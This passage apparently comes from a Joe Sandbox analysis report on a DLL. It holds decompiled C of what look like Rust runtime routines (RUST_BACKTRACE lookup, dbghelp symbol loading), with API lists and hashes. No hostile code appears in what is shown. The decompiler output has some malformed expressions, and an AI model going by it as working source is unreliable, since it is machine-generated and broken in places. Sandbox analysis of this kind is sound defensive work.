						_v1100 = 5;
						_v1096 = 1;
						_v44 = 0;
						while(1) {
							_v36 = _t211;
							if(_t211 == 0) {
								goto L10;
							}
							_v44 = 0;
							_t211 = 0;
							if(_t241 != _v1100) {
								L6:
								_t245 = _v36;
								 *((short*)(_t143 + _t241 * 2)) = _v36;
								_t241 = _t241 + 1;
								_v1096 = _t241;
								continue;
							} else {
								L13:
								_v40 = _t264;
								_v20 = 0;
								_v48 = _t241;
								_t188 =  <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11;
								_t189 = ( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2;
								asm("sbb eax, 0x0");
								_t190 = (( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2) + 2;
								E6EDC9A30( &_v1104, _t241, (( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2) + 2);
								_t281 = _t281 + 4;
								_t143 = _v1104;
								_t241 = _v48;
								_t264 = _v40;
								_t211 = _v44;
								goto L6;
							}
							L10:
							__eflags = _t264 - 0x6edeface;
							if(_t264 != 0x6edeface) {
								_t196 =  *_t264 & 0x000000ff;
								_t229 =  &(_t264[1]);
								_t249 = _t196 & 0x000000ff;
								__eflags = _t196;
								if(_t196 < 0) {
									_v36 = _t249 & 0x0000001f;
									__eflags = _t229 - 0x6edeface;
									if(_t229 == 0x6edeface) {
										_t230 = 0;
										__eflags = _t196 - 0xdf;
										_t252 = 0;
										_v40 = 0x6edeface;
										if(_t196 > 0xdf) {
											goto L25;
										} else {
											_v36 = _v36 << 6;
											_t264 = 0x6edeface;
											_t211 = 0;
											__eflags = _t241 - _v1100;
											if(_t241 != _v1100) {
												goto L6;
											} else {
												goto L13;
											}
										}
									} else {
										_t238 = _t264[1] & 0x000000ff;
										_t264 =  &(_t264[2]);
										_t230 = _t238 & 0x0000003f;
										__eflags = _t196 - 0xdf;
										if(_t196 <= 0xdf) {
											_t199 = _v36 << 0x00000006 | _t230;
											__eflags = _t199 - 0xffff;
											if(_t199 > 0xffff) {
												goto L32;
											} else {
												goto L22;
											}
										} else {
											__eflags = _t264 - 0x6edeface;
											if(_t264 == 0x6edeface) {
												_t252 = 0;
												__eflags = 0;
												_v40 = 0x6edeface;
											} else {
												_v40 =  &(_t264[1]);
												_t252 =  *_t264 & 0x3f;
											}
											L25:
											_t232 = _t230 << 0x00000006 | _t252;
											__eflags = _t196 - 0xf0;
											if(_t196 < 0xf0) {
												_t199 = _v36 << 0x0000000c | _t232;
												_t264 = _v40;
												__eflags = _t199 - 0xffff;
												if(_t199 > 0xffff) {
													goto L32;
												} else {
													goto L22;
												}
											} else {
												_t273 = _v40;
												__eflags = _t273 - 0x6edeface;
												if(_t273 == 0x6edeface) {
													_t274 = 0;
													__eflags = 0;
													_v40 = 0x6edeface;
												} else {
													_v40 =  &(_t273[1]);
													_t274 =  *_t273 & 0x3f;
												}
												_t199 = _t232 << 0x00000006 | (_v36 & 0x00000007) << 0x00000012 | _t274;
												_t264 = _v40;
												__eflags = _t199 - 0xffff;
												if(_t199 <= 0xffff) {
													L22:
													_v36 = _t199;
													_t211 = 0;
													__eflags = _t241 - _v1100;
													if(_t241 != _v1100) {
														goto L6;
													} else {
														goto L13;
													}
												} else {
													L32:
													_t200 = _t199 + 0xffff0000;
													_v40 = _t264;
													_v36 = _t200 >> 0x0000000a | 0x0000d800;
													_t264 = _v40;
													_t211 = _t200 & 0x000003ff | 0x0000dc00;
													_v44 = _t211;
													__eflags = _t241 - _v1100;
													if(_t241 != _v1100) {
														goto L6;
													} else {
														goto L13;
													}
												}
											}
										}
									}
								} else {
									_t264 = _t229;
									_v36 = _t249;
									_t211 = 0;
									__eflags = _t241 - _v1100;
									if(_t241 != _v1100) {
										goto L6;
									} else {
										goto L13;
									}
								}
								goto L96;
							}
							_t242 = _v1096;
							asm("movsd xmm0, [ebp-0x44c]");
							_v64 = _t242;
							asm("movsd [ebp-0x44], xmm0");
							__eflags = _t242 - 8;
							_t213 = _t242;
							_t148 = _v72;
							_t265 = _t148;
							if(_t242 < 8) {
								L45:
								_t214 = _t213 + _t213;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									__eflags = _t214;
									if(_t214 == 0) {
										break;
									}
									_t214 = _t214 + 0xfffffffe;
									__eflags =  *_t265;
									_t265 = _t265 + 2;
									if(__eflags != 0) {
										continue;
									} else {
										goto L48;
									}
									goto L96;
								}
								__eflags = _t242 - _v68;
								if(_t242 == _v68) {
									_v20 = 1;
									E6EDC9A30( &_v72, _t242, 1);
									_t281 = _t281 + 4;
									_t148 = _v72;
									_t242 = _v64;
								}
								 *((short*)(_t148 + _t242 * 2)) = 0;
								asm("movsd xmm0, [ebp-0x44]");
								asm("movsd [ebp-0x38], xmm0");
								_t149 = _v60;
								__eflags = _t149;
								_v36 = _t149;
								if(_t149 == 0) {
									goto L75;
								} else {
									_v80 = _v56;
									E6EDBE9D0(_t245,  &_v1104, 0, 0x400);
									_t281 = _t281 + 0xc;
									_t155 =  *0x6edef8cc; // 0x2
									_t194 = 0x200;
									_t262 = 0;
									_v60 = _t155;
									_v56 = 0;
									_v48 = _t155;
									_v52 = 0;
									__eflags = 0x200 - 0x201;
									if(0x200 >= 0x201) {
										L65:
										_t157 = _t194 - _t262;
										__eflags = _v56 - _t262 - _t157;
										if(_v56 - _t262 < _t157) {
											_v44 = _t194;
											_v20 = 5;
											E6EDC9A30( &_v60, _t262, _t157);
											_t281 = _t281 + 4;
											_t194 = _v44;
											_v48 = _v60;
										}
										_t247 = _v48;
										_t262 = _t194;
										_v52 = _t194;
										_v40 = _t194;
									} else {
										L68:
										_t247 =  &_v1104;
										_v40 = 0x200;
									}
									L69:
									_v44 = _t247;
									SetLastError(0);
									_t158 = GetEnvironmentVariableW(_v36, _t247, _t194);
									_t245 = _t158;
									__eflags = _t158;
									if(_t158 != 0) {
										L71:
										__eflags = _t245 - _t194;
										if(_t245 != _t194) {
											L63:
											__eflags = _t245 - _t194;
											_t192 = _t245;
											if(_t245 < _t194) {
												_t239 = _v40;
												_v20 = 5;
												__eflags = _t245 - _v40;
												if(__eflags > 0) {
													goto L95;
												} else {
													_push(_t245);
													E6EDB0D10(_t192,  &_v72, _v44, _t245, _t262);
													_t281 = _t281 + 4;
													_t218 = _v72;
													_t248 = _v68;
													_t262 = _v64;
													_t195 = 0;
													_t160 = _v56;
													__eflags = _t160;
													if(_t160 != 0) {
														goto L81;
													} else {
													}
													goto L84;
												}
											} else {
												__eflags = _t192 - 0x201;
												if(_t192 < 0x201) {
													goto L68;
												} else {
													goto L65;
												}
												goto L69;
											}
										} else {
											_t171 = GetLastError();
											__eflags = _t171 - 0x7a;
											if(_t171 != 0x7a) {
												goto L63;
											} else {
												_t194 = _t194 + _t194;
												__eflags = _t194 - 0x201;
												if(_t194 < 0x201) {
													goto L68;
												} else {
													goto L65;
												}
												goto L69;
											}
										}
									} else {
										_t172 = GetLastError();
										__eflags = _t172;
										if(_t172 != 0) {
											_t195 = 1;
											_t173 = GetLastError();
											_t218 = 0;
											_t248 = _t173;
											_t160 = _v56;
											__eflags = _t160;
											if(_t160 != 0) {
												L81:
												__eflags = _v48;
												if(_v48 != 0) {
													__eflags = _t160 & 0x7fffffff;
													if((_t160 & 0x7fffffff) != 0) {
														_v44 = _t218;
														HeapFree( *0x6edfe128, 0, _v48);
														_t218 = _v44;
													}
												}
											}
											L84:
											__eflags = _t195;
											if(_t195 == 0) {
												_t161 = _v76;
												 *_t161 = _t218;
												_t161[1] = _t248;
												_t161[2] = _t262;
											} else {
												__eflags = _t218 - 3;
												 *_v76 = 0;
												if(_t218 == 3) {
													_v20 = 4;
													_v44 = _t248;
													 *((intOrPtr*)( *((intOrPtr*)(_t248 + 4))))( *_t248);
													_t281 = _t281 + 4;
													_t267 = _v44;
													_t220 =  *((intOrPtr*)(_t267 + 4));
													__eflags =  *(_t220 + 4);
													if( *(_t220 + 4) != 0) {
														_t167 =  *_t267;
														__eflags =  *((intOrPtr*)(_t220 + 8)) - 9;
														if( *((intOrPtr*)(_t220 + 8)) >= 9) {
															_t167 =  *(_t167 - 4);
														}
														HeapFree( *0x6edfe128, 0, _t167);
													}
													HeapFree( *0x6edfe128, 0, _t267);
												}
											}
											__eflags = _v80 & 0x7fffffff;
											if((_v80 & 0x7fffffff) != 0) {
												HeapFree( *0x6edfe128, 0, _v36);
											}
											goto L76;
										} else {
											goto L71;
										}
									}
								}
							} else {
								_t228 = _t242;
								_t268 = _t148;
								while(1) {
									__eflags =  *_t268;
									if( *_t268 == 0) {
										break;
									}
									__eflags =  *((short*)(_t268 + 2));
									if( *((short*)(_t268 + 2)) == 0) {
										break;
									} else {
										__eflags =  *((short*)(_t268 + 4));
										if( *((short*)(_t268 + 4)) == 0) {
											break;
										} else {
											__eflags =  *((short*)(_t268 + 6));
											if( *((short*)(_t268 + 6)) == 0) {
												break;
											} else {
												__eflags =  *((short*)(_t268 + 8));
												if( *((short*)(_t268 + 8)) == 0) {
													break;
												} else {
													__eflags =  *((short*)(_t268 + 0xa));
													if( *((short*)(_t268 + 0xa)) == 0) {
														break;
													} else {
														__eflags =  *((short*)(_t268 + 0xc));
														if( *((short*)(_t268 + 0xc)) == 0) {
															break;
														} else {
															__eflags =  *((short*)(_t268 + 0xe));
															if( *((short*)(_t268 + 0xe)) == 0) {
																break;
															} else {
																_t228 = _t228 + 0xfffffff8;
																_t268 = _t268 + 0x10;
																__eflags = _t228 - 7;
																if(_t228 > 7) {
																	continue;
																} else {
																	goto L45;
																}
															}
														}
													}
												}
											}
										}
									}
									goto L96;
								}
								L48:
								_t223 = _v68;
								_v56 = 0x6edf06d8;
								_v60 = 0x1402;
								__eflags = _t223;
								if(_t223 != 0) {
									__eflags = _t148;
									if(_t148 != 0) {
										__eflags = _t223 & 0x7fffffff;
										if((_t223 & 0x7fffffff) != 0) {
											HeapFree( *0x6edfe128, 0, _t148);
										}
									}
								}
								__eflags = _v60 - 3;
								if(_v60 == 3) {
									_t224 = _v56;
									_v36 = _t224;
									_t70 = _t224 + 4; // 0x2c
									_v20 = 2;
									 *((intOrPtr*)( *_t70))( *_t224);
									_t281 = _t281 + 4;
									_t179 = _v36;
									_t226 =  *((intOrPtr*)(_t179 + 4));
									__eflags =  *(_t226 + 4);
									if( *(_t226 + 4) != 0) {
										_t181 =  *_t179;
										__eflags =  *((intOrPtr*)(_t226 + 8)) - 9;
										if( *((intOrPtr*)(_t226 + 8)) >= 9) {
											_t181 =  *(_t181 - 4);
										}
										HeapFree( *0x6edfe128, 0, _t181);
										_t179 = _v56;
									}
									HeapFree( *0x6edfe128, 0, _t179);
								}
								L75:
								 *_v76 = 0;
								L76:
								_t151 = _v28;
								 *[fs:0x0] = _t151;
								return _t151;
							}
							goto L96;
						}
					}
				} else {
					_t142 = GetProcessHeap();
					if(_t142 == 0) {
						L94:
						_t239 = 2;
						E6EDC92F0(_t192, 0xa, 2, _t245, _t262, __eflags);
						asm("ud2");
						L95:
						E6EDC9470(_t192, _t245, _t239, _t245, _t262, __eflags, 0x6edf06e0);
						asm("ud2");
						__eflags =  &_a8;
						E6EDA48D0( *_v44,  *((intOrPtr*)(_v44 + 4)));
						return E6EDAD270(_t263);
					} else {
						 *0x6edfe128 = _t142;
						goto L3;
					}
				}
				L96:
			}

0x6edad380
0x6edad380
0x6edad380
0x6edad383
0x6edad384
0x6edad385
0x6edad386
0x6edad38c
0x6edad38f
0x6edad396
0x6edad39d
0x6edad3aa
0x6edad3ad
0x6edad3b3
0x6edad3ba
0x6edad3ce
0x6edad3d3
0x6edad3da
0x00000000
0x6edad3e0
0x6edad3e0
0x6edad3e6
0x6edad3eb
0x6edad3ed
0x6edad3f2
0x6edad3f8
0x6edad402
0x6edad40c
0x6edad43d
0x6edad440
0x6edad443
0x00000000
0x00000000
0x6edad445
0x6edad44c
0x6edad454
0x6edad42f
0x6edad42f
0x6edad432
0x6edad436
0x6edad437
0x00000000
0x6edad456
0x6edad48a
0x6edad494
0x6edad497
0x6edad49e
0x6edad4a9
0x6edad4b2
0x6edad4ba
0x6edad4bd
0x6edad4c1
0x6edad4c6
0x6edad420
0x6edad426
0x6edad429
0x6edad42c
0x00000000
0x6edad42c
0x6edad460
0x6edad466
0x6edad468
0x6edad46e
0x6edad471
0x6edad474
0x6edad477
0x6edad479
0x6edad4d1
0x6edad4da
0x6edad4dc
0x6edad503
0x6edad50b
0x6edad50e
0x6edad513
0x6edad516
0x00000000
0x6edad518
0x6edad518
0x6edad51c
0x6edad522
0x6edad524
0x6edad52a
0x00000000
0x6edad530
0x00000000
0x6edad530
0x6edad52a
0x6edad4de
0x6edad4de
0x6edad4e2
0x6edad4e5
0x6edad4e8
0x6edad4eb
0x6edad53b
0x6edad53d
0x6edad543
0x00000000
0x00000000
0x00000000
0x00000000
0x6edad4ed
0x6edad4f3
0x6edad4f5
0x6edad565
0x6edad565
0x6edad567
0x6edad4f7
0x6edad4fb
0x6edad4fe
0x6edad4fe
0x6edad56a
0x6edad56d
0x6edad56f
0x6edad572
0x6edad595
0x6edad597
0x6edad59a
0x6edad5a0
0x00000000
0x6edad5a2
0x00000000
0x6edad5a2
0x6edad574
0x6edad574
0x6edad57d
0x6edad57f
0x6edad5aa
0x6edad5aa
0x6edad5ac
0x6edad581
0x6edad587
0x6edad58a
0x6edad58a
0x6edad5bf
0x6edad5c1
0x6edad5c4
0x6edad5ca
0x6edad549
0x6edad549
0x6edad54c
0x6edad54e
0x6edad554
0x00000000
0x6edad55a
0x00000000
0x6edad55a
0x6edad5d0
0x6edad5d0
0x6edad5d0
0x6edad5d6
0x6edad5f0
0x6edad5f3
0x6edad5f6
0x6edad5f8
0x6edad5fb
0x6edad601
0x00000000
0x6edad607
0x00000000
0x6edad607
0x6edad601
0x6edad5ca
0x6edad572
0x6edad4eb
0x6edad47b
0x6edad47b
0x6edad47d
0x6edad480
0x6edad482
0x6edad488
0x00000000
0x00000000
0x00000000
0x00000000
0x6edad488
0x00000000
0x6edad479
0x6edad60c
0x6edad612
0x6edad61a
0x6edad61d
0x6edad622
0x6edad625
0x6edad627
0x6edad62a
0x6edad62c
0x6edad674
0x6edad674
0x6edad676
0x6edad680
0x6edad680
0x6edad682
0x00000000
0x00000000
0x6edad688
0x6edad68b
0x6edad68f
0x6edad692
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6edad692
0x6edad720
0x6edad723
0x6edad725
0x6edad731
0x6edad736
0x6edad739
0x6edad73c
0x6edad73c
0x6edad73f
0x6edad745
0x6edad74a
0x6edad74f
0x6edad752
0x6edad754
0x6edad757
0x00000000
0x6edad75d
0x6edad760
0x6edad771
0x6edad776
0x6edad779
0x6edad77e
0x6edad783
0x6edad785
0x6edad788
0x6edad78f
0x6edad792
0x6edad799
0x6edad79f
0x6edad7c2
0x6edad7c7
0x6edad7cb
0x6edad7cd
0x6edad7cf
0x6edad7d2
0x6edad7df
0x6edad7e4
0x6edad7ea
0x6edad7ed
0x6edad7ed
0x6edad7f0
0x6edad7f3
0x6edad7f5
0x6edad7f8
0x6edad7a1
0x6edad800
0x6edad800
0x6edad806
0x6edad806
0x6edad80d
0x6edad80d
0x6edad812
0x6edad81d
0x6edad823
0x6edad825
0x6edad827
0x6edad833
0x6edad833
0x6edad835
0x6edad7b0
0x6edad7b0
0x6edad7b2
0x6edad7b4
0x6edad876
0x6edad879
0x6edad880
0x6edad882
0x00000000
0x6edad888
0x6edad88e
0x6edad88f
0x6edad894
0x6edad897
0x6edad89a
0x6edad89d
0x6edad8a0
0x6edad8a2
0x6edad8a5
0x6edad8a7
0x00000000
0x00000000
0x6edad8a9
0x00000000
0x6edad8a7
0x6edad7ba
0x6edad7ba
0x6edad7c0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6edad7c0
0x6edad83b
0x6edad83b
0x6edad841
0x6edad844
0x00000000
0x6edad84a
0x6edad84a
0x6edad84c
0x6edad852
0x00000000
0x6edad854
0x00000000
0x6edad854
0x00000000
0x6edad852
0x6edad844
0x6edad829
0x6edad829
0x6edad82f
0x6edad831
0x6edad8ab
0x6edad8ad
0x6edad8b3
0x6edad8b5
0x6edad8b7
0x6edad8ba
0x6edad8bc
0x6edad8be
0x6edad8be
0x6edad8c2
0x6edad8c4
0x6edad8c9
0x6edad8d6
0x6edad8d9
0x6edad8de
0x6edad8de
0x6edad8c9
0x6edad8c2
0x6edad8e1
0x6edad8e1
0x6edad8e3
0x6edad93d
0x6edad940
0x6edad942
0x6edad945
0x6edad8e5
0x6edad8e8
0x6edad8eb
0x6edad8f1
0x6edad8f8
0x6edad900
0x6edad903
0x6edad905
0x6edad908
0x6edad90b
0x6edad90e
0x6edad912
0x6edad914
0x6edad916
0x6edad91a
0x6edad91c
0x6edad91c
0x6edad928
0x6edad928
0x6edad936
0x6edad936
0x6edad8f1
0x6edad948
0x6edad94f
0x6edad960
0x6edad960
0x00000000
0x00000000
0x00000000
0x00000000
0x6edad831
0x6edad827
0x6edad62e
0x6edad62e
0x6edad630
0x6edad632
0x6edad632
0x6edad636
0x00000000
0x00000000
0x6edad638
0x6edad63d
0x00000000
0x6edad63f
0x6edad63f
0x6edad644
0x00000000
0x6edad646
0x6edad646
0x6edad64b
0x00000000
0x6edad64d
0x6edad64d
0x6edad652
0x00000000
0x6edad654
0x6edad654
0x6edad659
0x00000000
0x6edad65b
0x6edad65b
0x6edad660
0x00000000
0x6edad662
0x6edad662
0x6edad667
0x00000000
0x6edad669
0x6edad669
0x6edad66c
0x6edad66f
0x6edad672
0x00000000
0x00000000
0x00000000
0x00000000
0x6edad672
0x6edad667
0x6edad660
0x6edad659
0x6edad652
0x6edad64b
0x6edad644
0x00000000
0x6edad63d
0x6edad694
0x6edad694
0x6edad697
0x6edad69e
0x6edad6a5
0x6edad6a7
0x6edad6a9
0x6edad6ab
0x6edad6ad
0x6edad6b3
0x6edad6be
0x6edad6be
0x6edad6b3
0x6edad6ab
0x6edad6c3
0x6edad6c7
0x6edad6cd
0x6edad6d2
0x6edad6d5
0x6edad6d8
0x6edad6e0
0x6edad6e2
0x6edad6e5
0x6edad6e8
0x6edad6eb
0x6edad6ef
0x6edad6f1
0x6edad6f3
0x6edad6f7
0x6edad6f9
0x6edad6f9
0x6edad705
0x6edad70a
0x6edad70a
0x6edad716
0x6edad716
0x6edad859
0x6edad85c
0x6edad862
0x6edad862
0x6edad865
0x6edad875
0x6edad875
0x00000000
0x6edad62c
0x6edad43d
0x6edad3bc
0x6edad3bc
0x6edad3c3
0x6edad96a
0x6edad96f
0x6edad974
0x6edad979
0x6edad97b
0x6edad982
0x6edad98a
0x6edad994
0x6edad99f
0x6edad9af
0x6edad3c9
0x6edad3c9
0x00000000
0x6edad3c9
0x6edad3c3
0x00000000

APIs

GetProcessHeap.KERNEL32 ref: 6EDAD3BC
HeapAlloc.KERNEL32(00D10000,00000000,0000000A), ref: 6EDAD3D3

Strings

RUST_BACKTRACE, xrefs: 6EDAD48A, 6EDAD4C0

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: Heap$AllocProcess
String ID: RUST_BACKTRACE
API String ID: 1617791916-3454309823
Opcode ID: 80183d68a3a1c0f64ac6b5c6acbb42f420ccbe285257d0b7fdb1cbe08bae964a
Instruction ID: 32c274193784ebded962d2dc6ed055b6111be6101ade3e60f120714c6855b3a3
Opcode Fuzzy Hash: 80183d68a3a1c0f64ac6b5c6acbb42f420ccbe285257d0b7fdb1cbe08bae964a
Instruction Fuzzy Hash: B502ACB1E00219CFEB14CF98C89479DB7B1BF49318F184169DA5ABB280D774AA41CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAE4E0, Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 135
libraryloadersynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E6EDAE4E0(void* __ebx, void* __edi, void* __esi, char _a8) {
				int _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* __ebp;
				void* _t15;
				struct HINSTANCE__* _t20;
				signed int _t21;
				void* _t23;
				_Unknown_base(*)()* _t25;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t30;
				void* _t35;
				_Unknown_base(*)()* _t38;
				_Unknown_base(*)()* _t39;
				signed int _t50;
				_Unknown_base(*)()* _t52;
				void* _t59;

				_t48 = __edi;
				_push(__edi);
				_v32 = _t59 - 0x14;
				_v20 = 0xffffffff;
				_v24 = E6EDB39F0;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t35 =  *0x6edfe124; // 0x0
				if(_t35 == 0) {
					_t15 = CreateMutexA(0, 0, "Local\\RustBacktraceMutex");
					__eflags = _t15;
					if(_t15 == 0) {
						_t54 = 1;
						goto L19;
					} else {
						_t35 = _t15;
						__eflags = 0;
						asm("lock cmpxchg [0x6edfe124], ebx");
						if(0 != 0) {
							CloseHandle(_t35);
							_t35 = 0;
						}
						goto L1;
					}
				} else {
					L1:
					WaitForSingleObjectEx(_t35, 0xffffffff, 0);
					_t20 =  *0x6edfe130; // 0x0
					if(_t20 != 0) {
						L3:
						_t54 = 0;
						if( *0x6edfe164 != 0) {
							goto L19;
						} else {
							_t38 =  *0x6edfe134; // 0x0
							if(_t38 != 0) {
								L7:
								_t21 =  *_t38();
								_t39 =  *0x6edfe138; // 0x0
								_t50 = _t21;
								if(_t39 != 0) {
									L10:
									 *_t39(_t50 | 0x00000004);
									_t52 =  *0x6edfe13c; // 0x0
									if(_t52 != 0) {
										L13:
										_t23 = GetCurrentProcess();
										 *_t52(_t23, 0, 1);
										 *0x6edfe164 = 1;
										goto L19;
									} else {
										_t25 = GetProcAddress( *0x6edfe130, "SymInitializeW");
										if(_t25 == 0) {
											_v36 = _t35;
											_v20 = 0;
											E6EDC94E0(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t52, _t54, __eflags, 0x6edf04bc);
											goto L23;
										} else {
											_t52 = _t25;
											 *0x6edfe13c = _t25;
											goto L13;
										}
									}
								} else {
									_t28 = GetProcAddress( *0x6edfe130, "SymSetOptions");
									if(_t28 == 0) {
										_v36 = _t35;
										_v20 = 0;
										E6EDC94E0(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t50, _t54, __eflags, 0x6edf04ac);
										goto L23;
									} else {
										_t39 = _t28;
										 *0x6edfe138 = _t28;
										goto L10;
									}
								}
							} else {
								_t30 = GetProcAddress(_t20, "SymGetOptions");
								if(_t30 == 0) {
									_v36 = _t35;
									_v20 = 0;
									E6EDC94E0(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t48, 0, __eflags, 0x6edf049c);
									L23:
									asm("ud2");
									__eflags =  &_a8;
									return E6EDAE6D0(_v36);
								} else {
									_t38 = _t30;
									 *0x6edfe134 = _t30;
									goto L7;
								}
							}
						}
					} else {
						_t20 = LoadLibraryA("dbghelp.dll");
						 *0x6edfe130 = _t20;
						if(_t20 == 0) {
							ReleaseMutex(_t35);
							_t54 = 1;
							L19:
							 *[fs:0x0] = _v28;
							return _t54;
						} else {
							goto L3;
						}
					}
				}
			}

0x6edae4e0
0x6edae4e4
0x6edae4e9
0x6edae4ec
0x6edae4f3
0x6edae504
0x6edae507
0x6edae50d
0x6edae515
0x6edae5f5
0x6edae5fa
0x6edae5fc
0x6edae620
0x00000000
0x6edae5fe
0x6edae5fe
0x6edae600
0x6edae602
0x6edae60a
0x6edae613
0x6edae619
0x6edae619
0x00000000
0x6edae60a
0x6edae51b
0x6edae51b
0x6edae520
0x6edae525
0x6edae52c
0x6edae545
0x6edae545
0x6edae54e
0x00000000
0x6edae554
0x6edae554
0x6edae55c
0x6edae579
0x6edae579
0x6edae57b
0x6edae581
0x6edae585
0x6edae5a7
0x6edae5ab
0x6edae5ad
0x6edae5b5
0x6edae5d7
0x6edae5d7
0x6edae5e1
0x6edae5e3
0x00000000
0x6edae5b7
0x6edae5c2
0x6edae5ca
0x6edae68d
0x6edae690
0x6edae6a6
0x00000000
0x6edae5d0
0x6edae5d0
0x6edae5d2
0x00000000
0x6edae5d2
0x6edae5ca
0x6edae587
0x6edae592
0x6edae59a
0x6edae66a
0x6edae66d
0x6edae683
0x00000000
0x6edae5a0
0x6edae5a0
0x6edae5a2
0x00000000
0x6edae5a2
0x6edae59a
0x6edae55e
0x6edae564
0x6edae56c
0x6edae647
0x6edae64a
0x6edae660
0x6edae6ae
0x6edae6ae
0x6edae6b4
0x6edae6c3
0x6edae572
0x6edae572
0x6edae574
0x00000000
0x6edae574
0x6edae56c
0x6edae55c
0x6edae52e
0x6edae533
0x6edae53a
0x6edae53f
0x6edae628
0x6edae62d
0x6edae632
0x6edae637
0x6edae646
0x00000000
0x00000000
0x00000000
0x6edae53f
0x6edae52c

APIs

WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6EDAE520
LoadLibraryA.KERNEL32(dbghelp.dll,00000000,000000FF,00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6EDAE533
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 6EDAE564
GetProcAddress.KERNEL32(SymSetOptions), ref: 6EDAE592
GetProcAddress.KERNEL32(SymInitializeW), ref: 6EDAE5C2
GetCurrentProcess.KERNEL32 ref: 6EDAE5D7
CreateMutexA.KERNEL32(00000000,00000000,Local\RustBacktraceMutex), ref: 6EDAE5F5
CloseHandle.KERNEL32(00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6EDAE613

Part of subcall function 6EDAE6D0: ReleaseMutex.KERNEL32(?,6EDAE448), ref: 6EDAE6D1

Strings

SymSetOptions, xrefs: 6EDAE587
Local\RustBacktraceMutex, xrefs: 6EDAE5EC
SymInitializeW, xrefs: 6EDAE5B7
dbghelp.dll, xrefs: 6EDAE52E
SymGetOptions, xrefs: 6EDAE55E
called `Option::unwrap()` on a `None` value, xrefs: 6EDAE651, 6EDAE674, 6EDAE697

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: AddressProc$Mutex$CloseCreateCurrentHandleLibraryLoadObjectProcessReleaseSingleWait
String ID: Local\RustBacktraceMutex$SymGetOptions$SymInitializeW$SymSetOptions$called `Option::unwrap()` on a `None` value$dbghelp.dll
API String ID: 1067696788-3213342004
Opcode ID: ba480d043b0e235947ce0af4643d16fc377946dbc82507a3935bfec617cc6eef
Instruction ID: 78a0f417e6d0249c1190e0798776396d4439779e9bceac8465720ecb320a22a7
Opcode Fuzzy Hash: ba480d043b0e235947ce0af4643d16fc377946dbc82507a3935bfec617cc6eef
Instruction Fuzzy Hash: 5741D4B1E00601DFEF10DFE9EC5475A76A9AB45764F040938ED16AB3C1EB34D582C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAE6E0, Relevance: 25.1, APIs: 9, Strings: 5, Instructions: 588
libraryloaderCOMMONCrypto

Download Yara Rule

C-Code - Quality: 52%

			E6EDAE6E0(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi) {
				void* _v16;
				char _v4528;
				void* __ebp;
				char* _t225;
				void* _t234;
				void* _t237;
				signed int _t240;
				signed int _t243;
				signed char _t249;
				intOrPtr _t250;
				void* _t255;
				intOrPtr _t256;
				signed int _t258;
				signed char _t262;
				signed int _t265;
				signed short _t267;
				signed short* _t269;
				signed int _t273;
				void* _t277;
				void* _t278;
				intOrPtr _t279;
				signed int _t281;
				void* _t283;
				intOrPtr _t284;
				signed int _t286;
				signed short _t290;
				signed int _t292;
				signed short* _t293;
				signed short _t294;
				signed int _t297;
				signed int _t298;
				signed int _t301;
				signed int _t302;
				signed int _t304;
				signed int _t309;
				signed int _t310;
				signed int _t312;
				signed short* _t317;
				intOrPtr _t321;
				intOrPtr _t322;
				void* _t328;
				signed int _t330;
				intOrPtr _t333;
				signed int _t337;
				void* _t338;
				void* _t346;
				intOrPtr _t350;
				signed short* _t353;
				signed int _t354;
				signed int _t357;
				void* _t358;
				signed int _t365;
				void* _t366;
				signed short* _t369;
				signed int _t371;
				signed int _t373;
				signed short* _t379;
				signed int _t381;
				signed char _t384;
				signed char _t385;
				intOrPtr _t392;
				signed int* _t393;
				signed char _t394;
				signed int _t397;
				signed char _t398;
				signed int _t399;
				signed int _t400;
				signed short _t401;
				signed int _t407;
				signed int _t409;
				signed char _t410;
				signed int _t411;
				signed short _t412;
				signed int _t418;
				intOrPtr _t421;
				signed int _t423;
				signed int _t424;

				_t365 = __edx;
				_t321 = __ecx;
				_push(__ebx);
				_push(__edi);
